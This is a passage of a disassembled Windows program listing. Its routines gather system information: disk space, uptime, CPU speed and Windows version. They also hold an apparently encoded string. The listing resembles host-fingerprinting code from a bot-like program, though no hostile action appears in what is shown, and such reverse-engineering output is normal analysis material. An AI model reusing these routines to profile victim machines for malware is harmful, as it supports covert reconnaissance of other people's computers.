		test	ebx, ebx
		jz	short loc_41B6F6
		mov	ecx, [eax]
		mov	[ebx], ecx


loc_41B6F6:				; CODE XREF: sub_41B647+A9j
		add	eax, 4
		add	ebx, 4
		cmp	eax, [ebp+arg_8]
		jnz	short loc_41B6EE


loc_41B701:				; CODE XREF: sub_41B647+9Cj
		push	dword ptr [esi+4]
		call	sub_4290D0
		mov	eax, [ebp+var_4]
		mov	edx, [esi+4]
		pop	ecx
		mov	ecx, [ebp+arg_4]
		test	edx, edx
		lea	eax, [ecx+eax*4]
		mov	[esi+0Ch], eax
		jnz	short loc_41B721
		xor	eax, eax
		jmp	short loc_41B729
; ---------------------------------------------------------------------------


loc_41B721:				; CODE XREF: sub_41B647+D4j
		mov	eax, [esi+8]
		sub	eax, edx
		sar	eax, 2


loc_41B729:				; CODE XREF: sub_41B647+D8j
		add	eax, edi
		mov	[esi+4], ecx
		lea	eax, [ecx+eax*4]
		mov	[esi+8], eax
		jmp	loc_41B80B
; ---------------------------------------------------------------------------


loc_41B739:				; CODE XREF: sub_41B647+19j
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, edx
		sar	eax, 2
		cmp	eax, edi
		jnb	short loc_41B7B5
		mov	ebx, edi
		shl	ebx, 2
		cmp	edx, ecx
		mov	[ebp+arg_0], ebx
		lea	eax, [ebx+edx]
		mov	[ebp+var_4], eax
		jz	short loc_41B77C
		sub	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	[ebp+arg_4], eax


loc_41B761:				; CODE XREF: sub_41B647+130j
		test	ebx, ebx
		jz	short loc_41B76C
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [ebp+arg_4]


loc_41B76C:				; CODE XREF: sub_41B647+11Cj
		add	eax, 4
		add	ebx, 4
		cmp	eax, ecx
		mov	[ebp+arg_4], eax
		jnz	short loc_41B761
		mov	ebx, [ebp+arg_0]


loc_41B77C:				; CODE XREF: sub_41B647+110j
		mov	eax, [esi+8]
		mov	ecx, eax
		sub	ecx, edx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, [ebp+arg_8]
		jz	short loc_41B7A0
		mov	[ebp+arg_0], edi


loc_41B790:				; CODE XREF: sub_41B647+157j
		test	eax, eax
		jz	short loc_41B798
		mov	edi, [ecx]
		mov	[eax], edi


loc_41B798:				; CODE XREF: sub_41B647+14Bj
		add	eax, 4
		dec	[ebp+arg_0]
		jnz	short loc_41B790


loc_41B7A0:				; CODE XREF: sub_41B647+144j
		mov	eax, [esi+8]
		jmp	short loc_41B7AC
; ---------------------------------------------------------------------------


loc_41B7A5:				; CODE XREF: sub_41B647+167j
		mov	edi, [ecx]
		mov	[edx], edi
		add	edx, 4


loc_41B7AC:				; CODE XREF: sub_41B647+15Cj
		cmp	edx, eax
		jnz	short loc_41B7A5
		add	[esi+8], ebx
		jmp	short loc_41B80B
; ---------------------------------------------------------------------------


loc_41B7B5:				; CODE XREF: sub_41B647+FEj
		test	edi, edi
		jbe	short loc_41B80B
		shl	edi, 2
		mov	eax, ecx
		mov	ebx, ecx
		mov	[ebp+arg_0], edi
		sub	eax, edi
		jmp	short loc_41B7D8
; ---------------------------------------------------------------------------


loc_41B7C7:				; CODE XREF: sub_41B647+193j
		test	ebx, ebx
		jz	short loc_41B7D2
		mov	edi, [eax]
		mov	[ebx], edi
		mov	edi, [ebp+arg_0]


loc_41B7D2:				; CODE XREF: sub_41B647+182j
		add	ebx, 4
		add	eax, 4


loc_41B7D8:				; CODE XREF: sub_41B647+17Ej
		cmp	eax, ecx
		jnz	short loc_41B7C7
		mov	ecx, [esi+8]
		mov	eax, ecx
		sub	eax, edi
		cmp	edx, eax
		jz	short loc_41B7F5


loc_41B7E7:				; CODE XREF: sub_41B647+1ACj
		sub	eax, 4
		sub	ecx, 4
		cmp	eax, edx
		mov	ebx, [eax]
		mov	[ecx], ebx
		jnz	short loc_41B7E7


loc_41B7F5:				; CODE XREF: sub_41B647+19Ej
		lea	eax, [edi+edx]
		jmp	short loc_41B804
; ---------------------------------------------------------------------------


loc_41B7FA:				; CODE XREF: sub_41B647+1BFj
		mov	ecx, [ebp+arg_8]
		mov	ecx, [ecx]
		mov	[edx], ecx
		add	edx, 4


loc_41B804:				; CODE XREF: sub_41B647+1B1j
		cmp	edx, eax
		jnz	short loc_41B7FA
		add	[esi+8], edi


loc_41B80B:				; CODE XREF: sub_41B647+EDj
					; sub_41B647+16Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_41B647	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B812	proc near		; CODE XREF: sub_41B5C1+7Ap
		mov	eax, offset loc_436640
		call	sub_42B7CC
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_41B838
		mov	edi, [ebp+8]


loc_41B838:				; CODE XREF: sub_41B812+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_41B845
		xor	eax, eax


loc_41B845:				; CODE XREF: sub_41B812+2Fj
		push	eax
		call	sub_42B4D7
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_41B876
; ---------------------------------------------------------------------------


loc_41B851:				; DATA XREF: .text:00438570o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_41B860
		xor	eax, eax


loc_41B860:				; CODE XREF: sub_41B812+4Aj
		push	eax
		call	sub_42B4D7
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_41B870
		retn
; ---------------------------------------------------------------------------


loc_41B870:				; DATA XREF: sub_41B812+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_41B876:				; CODE XREF: sub_41B812+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_41B894
		cmp	eax, edi
		jbe	short loc_41B883
		mov	eax, edi


loc_41B883:				; CODE XREF: sub_41B812+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_429420
		add	esp, 0Ch


loc_41B894:				; CODE XREF: sub_41B812+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_41B4ED
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_41B8B4
		mov	edi, ebx


loc_41B8B4:				; CODE XREF: sub_41B812+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_41B812	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8CF	proc near		; CODE XREF: sub_41B55A+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_41B8FC
		mov	al, [esi-1]
		test	al, al
		jz	short loc_41B8FC
		cmp	al, 0FFh
		jz	short loc_41B8FC
		push	1
		call	sub_41B4ED
		push	esi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_41B525


loc_41B8FC:				; CODE XREF: sub_41B8CF+9j
					; sub_41B8CF+10j ...
		pop	edi
		pop	esi
		retn
sub_41B8CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8FF	proc near		; CODE XREF: sub_41B952+Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	edi
		or	eax, 0FFFFFFFFh
		push	1
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		call	dword_457004	; SetErrorMode
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_4]
		call	dword_4370E4	; GetDiskFreeSpaceExA
		push	2
		call	dword_457004	; SetErrorMode
		mov	eax, [ebp+arg_0]
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41B8FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B952	proc near		; CODE XREF: sub_41BE01+2A0p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_41B8FF
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B9A6
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B9A6
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B9A6
		xor	eax, eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_1C], eax
		jmp	short loc_41B9E4
; ---------------------------------------------------------------------------


loc_41B9A6:				; CODE XREF: sub_41B952+29j
					; sub_41B952+34j ...
		mov	eax, [ebp+arg_8]
		cdq
		mov	edi, edx
		mov	esi, eax
		push	edi
		push	esi
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_42B2F0
		push	edi
		push	esi
		push	[ebp+var_C]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		push	[ebp+var_10]
		call	sub_42B2F0
		push	edi
		push	esi
		push	[ebp+var_4]
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		push	[ebp+var_8]
		call	sub_42B2F0
		mov	[ebp+var_1C], edx


loc_41B9E4:				; CODE XREF: sub_41B952+52j
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		push	6
		lea	esi, [ebp+var_30]
		pop	ecx
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41B952	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9F8	proc near		; CODE XREF: sub_401990+87p
					; sub_40A9FE+193Fp ...

var_2C		= qword	ptr -2Ch
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	32h
		mov	esi, offset dword_457FDC
		push	edi
		push	esi
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4370D0	; QueryPerformanceCounter
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_43718C	; QueryPerformanceFrequency
		cmp	[ebp+var_C], edi
		jl	short loc_41BA7D
		jg	short loc_41BA34
		cmp	[ebp+var_10], edi
		jbe	short loc_41BA7D


loc_41BA34:				; CODE XREF: sub_41B9F8+35j
		cmp	[ebp+var_4], edi
		jl	short loc_41BA7D
		jg	short loc_41BA40
		cmp	[ebp+var_8], edi
		jbe	short loc_41BA7D


loc_41BA40:				; CODE XREF: sub_41B9F8+41j
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_42B2F0
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx		; double
		fstp	[esp+2Ch+var_2C]
		call	sub_42A706
		mov	eax, [ebp+arg_4]
		mov	dword ptr [ebp+var_18+4], edi
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fsubp	st(1), st
		call	sub_42A9E0
		mov	ecx, eax
		jmp	short loc_41BA96
; ---------------------------------------------------------------------------


loc_41BA7D:				; CODE XREF: sub_41B9F8+33j
					; sub_41B9F8+3Aj ...
		mov	eax, [ebp+arg_0]
		mov	edi, 3E8h
		xor	edx, edx
		mov	ecx, edi
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, [ebp+arg_4]
		div	edi
		sub	ecx, eax


loc_41BA96:				; CODE XREF: sub_41B9F8+83j
		mov	eax, ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	edi, 0E10h
		div	ecx
		push	3Ch
		pop	ebx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		mov	edi, eax
		mov	eax, edx
		xor	edx, edx
		div	ebx
		cmp	[ebp+arg_8], 0
		jnz	short loc_41BAD6
		test	ecx, ecx
		ja	short loc_41BAD6
		push	edx
		push	eax
		push	edi
		push	offset a0_2d0_2d0_2d ; "%0.2d:%0.2d:%0.2d"
		push	esi
		call	sub_429B03
		add	esp, 14h
		jmp	short loc_41BAF8
; ---------------------------------------------------------------------------


loc_41BAD6:				; CODE XREF: sub_41B9F8+C5j
					; sub_41B9F8+C9j
		cmp	ecx, 1
		mov	ebx, offset byte_454A54
		jz	short loc_41BAE5
		mov	ebx, offset aS_2 ; "s"


loc_41BAE5:				; CODE XREF: sub_41B9F8+E6j
		push	edx
		push	eax
		push	edi
		push	ebx
		push	ecx
		push	offset aDDayS0_2d0_2d0 ; "%d day%s %0.2d:%0.2d:%0.2d"
		push	esi
		call	sub_429B03
		add	esp, 1Ch


loc_41BAF8:				; CODE XREF: sub_41B9F8+DCj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFF	proc near		; CODE XREF: sub_41D6A6+22p
					; sub_41D7D2+25p ...

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		xor	esi, esi
		push	32h
		push	esi
		push	offset dword_457F70
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4370D0	; QueryPerformanceCounter
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_43718C	; QueryPerformanceFrequency
		cmp	[ebp+var_C], esi
		jl	short loc_41BB71
		jg	short loc_41BB38
		cmp	[ebp+var_10], esi
		jbe	short loc_41BB71


loc_41BB38:				; CODE XREF: sub_41BAFF+32j
		cmp	[ebp+var_4], esi
		jl	short loc_41BB71
		jg	short loc_41BB44
		cmp	[ebp+var_8], esi
		jbe	short loc_41BB71


loc_41BB44:				; CODE XREF: sub_41BAFF+3Ej
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_42B2F0
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42A706
		pop	ecx
		pop	ecx
		call	sub_42A9E0
		jmp	short loc_41BB7D
; ---------------------------------------------------------------------------


loc_41BB71:				; CODE XREF: sub_41BAFF+30j
					; sub_41BAFF+37j ...
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx


loc_41BB7D:				; CODE XREF: sub_41BAFF+70j
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		pop	esi
		leave
		retn
sub_41BAFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB89	proc near		; CODE XREF: sub_40A9FE+1AF5p
		push	esi
		push	32h
		mov	esi, offset dword_457FA4
		push	0
		push	esi
		call	sub_429760
		add	esp, 0Ch
		call	sub_41BCED
		test	eax, eax
		jnz	short loc_41BBC1
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	offset aSD_1	; "%s <%d>"
		push	esi
		call	sub_429B03
		add	esp, 10h
		jmp	short loc_41BC07
; ---------------------------------------------------------------------------


loc_41BBC1:				; CODE XREF: sub_41BB89+1Aj
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		push	ebx
		push	edi
		mov	edi, 0E10h
		push	3Ch
		pop	ebx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		mov	edi, eax
		mov	eax, edx
		xor	edx, edx
		div	ebx
		cmp	ecx, 1
		mov	edx, offset byte_454A54
		jz	short loc_41BBF3
		mov	edx, offset aS_2 ; "s"


loc_41BBF3:				; CODE XREF: sub_41BB89+63j
		push	eax
		push	edi
		push	edx
		push	ecx
		push	offset aDDayS0_2d0_2d ;	"%d day%s %0.2d:%0.2d"
		push	esi
		call	sub_429B03
		add	esp, 18h
		pop	edi
		pop	ebx


loc_41BC07:				; CODE XREF: sub_41BB89+36j
		mov	eax, esi
		pop	esi
		retn
sub_41BB89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC0B	proc near		; CODE XREF: sub_40A9FE+1AE7p
					; sub_41BD1E:loc_41BD2Dp

var_30		= qword	ptr -30h
var_1C		= qword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_14]
		push	edi
		xor	esi, esi
		push	eax
		mov	[ebp+var_4], esi
		call	dword_4370D0	; QueryPerformanceCounter
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43718C	; QueryPerformanceFrequency
		cmp	[ebp+var_10], esi
		jl	short loc_41BC72
		jg	short loc_41BC39
		cmp	[ebp+var_14], esi
		jbe	short loc_41BC72


loc_41BC39:				; CODE XREF: sub_41BC0B+27j
		cmp	[ebp+var_8], esi
		jl	short loc_41BC72
		jg	short loc_41BC45
		cmp	[ebp+var_C], esi
		jbe	short loc_41BC72


loc_41BC45:				; CODE XREF: sub_41BC0B+33j
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_42B2F0
		mov	dword ptr [ebp+var_1C],	eax
		mov	dword ptr [ebp+var_1C+4], edx
		fild	[ebp+var_1C]
		push	ecx
		push	ecx		; double
		fstp	[esp+30h+var_30]
		call	sub_42A706
		pop	ecx
		pop	ecx
		call	sub_42A9E0
		jmp	short loc_41BC81
; ---------------------------------------------------------------------------


loc_41BC72:				; CODE XREF: sub_41BC0B+25j
					; sub_41BC0B+2Cj ...
		call	dword_437188	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx


loc_41BC81:				; CODE XREF: sub_41BC0B+65j
		cmp	dword_457FD8, esi
		mov	ebx, eax
		jnz	short loc_41BCCC
		lea	eax, [ebp+var_4]
		mov	edi, offset byte_445423
		push	eax
		mov	esi, offset dword_445324
		push	edi
		push	esi
		push	dword_445320
		call	sub_4212CA
		add	esp, 10h
		cmp	[ebp+var_4], 0
		jz	short loc_41BCB3
		cmp	ebx, eax
		jbe	short loc_41BCC8


loc_41BCB3:				; CODE XREF: sub_41BC0B+A2j
		push	ebx
		push	edi
		push	esi
		push	dword_445320
		call	sub_4213E8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41BCE5


loc_41BCC8:				; CODE XREF: sub_41BC0B+A6j
		xor	eax, eax
		jmp	short loc_41BCE8
; ---------------------------------------------------------------------------


loc_41BCCC:				; CODE XREF: sub_41BC0B+7Ej
		push	ebx
		push	offset byte_445423
		push	offset dword_445324
		push	dword_445320
		call	sub_4213E8
		add	esp, 10h


loc_41BCE5:				; CODE XREF: sub_41BC0B+BBj
		xor	eax, eax
		inc	eax


loc_41BCE8:				; CODE XREF: sub_41BC0B+BFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BC0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BCED	proc near		; CODE XREF: sub_40A9FE+8A2Cp
					; sub_41BB89+13p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset byte_445423
		push	offset dword_445324
		push	dword_445320
		call	sub_4212CA
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		leave
		retn
sub_41BCED	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD1E	proc near		; DATA XREF: sub_418FA1+199o
		xor	eax, eax
		cmp	dword_457034, eax
		mov	dword_457FD8, eax
		jnz	short loc_41BD44


loc_41BD2D:				; CODE XREF: sub_41BD1E+24j
		call	sub_41BC0B
		push	0C3500h
		mov	dword_457FD8, eax
		call	dword_437190	; Sleep
		jmp	short loc_41BD2D
; ---------------------------------------------------------------------------


loc_41BD44:				; CODE XREF: sub_41BD1E+Dj
		push	eax
		call	dword_437174	; ExitThread
sub_41BD1E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BD4B	proc near		; CODE XREF: sub_41BE01+34Ep
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_41BD53:				; CODE XREF: sub_41BD4B+2Fj
					; sub_41BD4B+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_437190	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_42BE50
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_41BD53
		jb	short loc_41BD82
		cmp	ebx, edi
		ja	short loc_41BD53


loc_41BD82:				; CODE XREF: sub_41BD4B+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_42BDD0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41BDF5
		jb	short loc_41BDA1
		cmp	edi, 50h
		jnb	short loc_41BDA6


loc_41BDA1:				; CODE XREF: sub_41BD4B+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41BDA6:				; CODE XREF: sub_41BD4B+54j
		test	ecx, ecx
		ja	short loc_41BDF5
		jb	short loc_41BDB1
		cmp	edi, 47h
		jnb	short loc_41BDB6


loc_41BDB1:				; CODE XREF: sub_41BD4B+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41BDB6:				; CODE XREF: sub_41BD4B+64j
		test	ecx, ecx
		ja	short loc_41BDF5
		jb	short loc_41BDC1
		cmp	edi, 37h
		jnb	short loc_41BDC6


loc_41BDC1:				; CODE XREF: sub_41BD4B+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41BDC6:				; CODE XREF: sub_41BD4B+74j
		test	ecx, ecx
		ja	short loc_41BDF5
		jb	short loc_41BDD1
		cmp	edi, 26h
		jnb	short loc_41BDD6


loc_41BDD1:				; CODE XREF: sub_41BD4B+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41BDD6:				; CODE XREF: sub_41BD4B+84j
		test	ecx, ecx
		ja	short loc_41BDF5
		jb	short loc_41BDE1
		cmp	edi, 1Eh
		jnb	short loc_41BDE6


loc_41BDE1:				; CODE XREF: sub_41BD4B+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41BDE6:				; CODE XREF: sub_41BD4B+94j
		test	ecx, ecx
		ja	short loc_41BDF5
		jb	short loc_41BDF1
		cmp	edi, 0Ah
		jnb	short loc_41BDF5


loc_41BDF1:				; CODE XREF: sub_41BD4B+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41BDF5:				; CODE XREF: sub_41BD4B+4Dj
					; sub_41BD4B+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_41BD4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE01	proc near		; CODE XREF: sub_40A9FE+295Cp

var_2CC8	= byte ptr -2CC8h
var_5B8		= byte ptr -5B8h
var_4B8		= byte ptr -4B8h
var_3B4		= byte ptr -3B4h
var_2B4		= byte ptr -2B4h
var_228		= byte ptr -228h
var_1E0		= byte ptr -1E0h
var_198		= byte ptr -198h
var_164		= byte ptr -164h
var_130		= byte ptr -130h
var_118		= dword	ptr -118h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= byte ptr -0C4h
var_3E		= byte ptr -3Eh
var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2CC8h
		call	sub_429B60
		push	ebx
		push	esi
		lea	eax, [ebp+var_D8]
		push	edi
		mov	esi, offset a??? ; "???"
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_D8], 9Ch
		call	dword_437050	; GetVersionExA
		push	[ebp+var_D0]
		push	[ebp+var_D4]
		push	offset aD_D	; "%d.%d"
		push	4
		push	esi
		call	sub_429BBE
		add	esp, 14h
		xor	ebx, ebx
		cmp	[ebp+var_D4], 4
		jnz	short loc_41BEB3
		cmp	[ebp+var_D0], ebx
		jnz	short loc_41BE88
		cmp	[ebp+var_C8], 1
		jnz	short loc_41BE6F
		mov	[ebp+var_4], offset a95	; "95"


loc_41BE6F:				; CODE XREF: sub_41BE01+65j
		cmp	[ebp+var_C8], 2
		jnz	loc_41BF62
		mov	[ebp+var_4], offset aNt_0 ; "NT"
		jmp	loc_41BF33
; ---------------------------------------------------------------------------


loc_41BE88:				; CODE XREF: sub_41BE01+5Cj
		cmp	[ebp+var_D0], 0Ah
		jnz	short loc_41BE9D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BE9D:				; CODE XREF: sub_41BE01+8Ej
		cmp	[ebp+var_D0], 5Ah
		jnz	loc_41BF2A
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BEB3:				; CODE XREF: sub_41BE01+54j
		cmp	[ebp+var_D4], 5
		jnz	short loc_41BEF1
		cmp	[ebp+var_D0], ebx
		jnz	short loc_41BECD
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BECD:				; CODE XREF: sub_41BE01+C1j
		cmp	[ebp+var_D0], 1
		jnz	short loc_41BEDF
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BEDF:				; CODE XREF: sub_41BE01+D3j
		cmp	[ebp+var_D0], 2
		jnz	short loc_41BF2A
		mov	[ebp+var_4], offset a2k3_0 ; "2K3"
		jmp	short loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BEF1:				; CODE XREF: sub_41BE01+B9j
		cmp	[ebp+var_D4], 6
		jnz	short loc_41BF2A
		cmp	[ebp+var_D0], ebx
		jnz	short loc_41BF1A
		cmp	[ebp+var_3E], 1
		jnz	short loc_41BF11
		mov	[ebp+var_4], offset aVista_0 ; "Vista"
		jmp	short loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BF11:				; CODE XREF: sub_41BE01+105j
		mov	[ebp+var_4], offset a2k8 ; "2K8"
		jmp	short loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BF1A:				; CODE XREF: sub_41BE01+FFj
		cmp	[ebp+var_D0], 1
		jnz	short loc_41BF2A
		mov	[ebp+var_4], offset a7 ; "7"


loc_41BF2A:				; CODE XREF: sub_41BE01+97j
					; sub_41BE01+A3j ...
		cmp	[ebp+var_C8], 2
		jnz	short loc_41BF62


loc_41BF33:				; CODE XREF: sub_41BE01+82j
